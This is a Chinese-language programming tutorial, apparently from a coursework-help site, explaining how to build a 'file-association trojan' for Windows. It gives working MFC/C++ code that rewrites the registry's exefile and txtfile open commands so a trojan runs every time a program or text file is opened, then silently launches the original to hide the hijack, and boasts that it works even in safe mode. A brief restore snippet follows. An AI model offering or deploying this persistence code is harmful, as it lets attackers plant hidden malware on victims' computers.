文件关联型木马的编程思路
当前位置:以往代写 > C/C++ 教程 >文件关联型木马的编程思路
2019-06-13

文件关联型木马的编程思路

文件关联型木马的编程思路

副标题#e#

我们知道一般环境下想在开机启动措施,就要把措施写在注册表中的

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

等情况中,由于这个值各人都较量熟悉所以很容易被查出,并且进入了windows掩护模式这些措施是不会运行的,可是假如我们把我们的措施在注册表中举办了关联却收到了很好的功效。

在注册表HKEY_CLASSES_ROOT\exefile\shell\open\command中的值就是可执行措施*.exe

文件的关联处,缺省为“"%1"

%*”,假如把这个措施改为我们的木马措施,那样的话,每执行一个可执行措施就会执行我们的措施,而不会再执行原有的措施,这样我们的木马就起动了,我们要做的事情就是我们的木马启动后,再执行原有的措施,这样对付一般的人来看仿佛什么事也没产生过。好了心动不如动作,我们开始动手做一个吧。

l 首先用vc成立一个基于对话框的措施srart

在CstartDlg插手公有变量 HANDLE hMutex;防备我们的木马运行多次。

l 在CStartDlg::OnInitDialog()中插手如下函数:

CString str;
str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得传入的呼吁行参数
const char *MutexObject="MyStart";//成立互斥工具
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
DWORD err=GetLastError();
if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//假如发明同一措施已经运行,则退出
}
if(str!="")
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i<length;i++)
{
ch=str.GetAt(i);
if(ch=='\\')
temp=temp+"\\\\";
else temp=temp+ch;
}
temp = temp.Left(temp.GetLength() - 2);
temp = temp.Mid(1);
//上面的函数是把字符串中所有的”\”变为”\\”
char str1[]="\"%1\" %*";
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);
//
在执行原有措施之前必需把注册表规复,不然用ShellExecute照旧执行我们的木马措施。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的措施
}
//在措施执行完成后,再把注册表改为我们要启动的木马措施的
TCHAR str2[256];
// 获得措施全路径名
GetModuleFileName( NULL, str2, 255 );
strcat(str2," \"%1\" %*");
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
//颠末上述进程只要措施一运行就会执行我们的start
措施了。纵然是在安详模式下只要执行可执行措施就会运行我们的措施了。


#p#副标题#e#

同样的我们也可以将其它文件举办关联,譬喻将文本文件举办关联,在CStartDlg::OnInitDialog()中从头加下代码

CString str;
str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得传入的呼吁行参数
const char *MutexObject="MyStart";//成立互斥工具
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
DWORD err=GetLastError();
if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//假如发明同一措施已经运行,则退出
}
if(str.Find("txt")!=-1)
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i<length;i++)
{
ch=str.GetAt(i);
if(ch=='\\')
temp=temp+"\\\\";
else temp=temp+ch;
}
temp = temp.Left(temp.GetLength() - 2);
temp = temp.Mid(1);
//上面的函数是把字符串中的"\"变为"\\"
char str1[]="\"%1\" %*";
//

在执行原有措施之前必需把注册表规复,不然用ShellExecute照旧执行我们的木马措施。

ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//执行原有的措施
}
//在措施执行完成后,再把注册表改为我们要启动的木马措施的
TCHAR str2[256];
// 获得措施全路径名
GetModuleFileName( NULL, str2, 255 );
strcat(str2," \"%1\" %*");
::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//颠末上述进程只要措施一运行就会执行我们的start 措施了。

虽然了这些措施在本身的呆板上运行后照旧要规复的下面的函数就可以辅佐举办规复了

char str2[]="NOTEPAD.EXE %1";
::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
char str1[]="\"%1\" %*";
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

虽然了这个措施在win98下运行较量正常,在win2000下无法打开桌面上的文件夹,再也就没什么问题了。

    关键字:

在线提交作业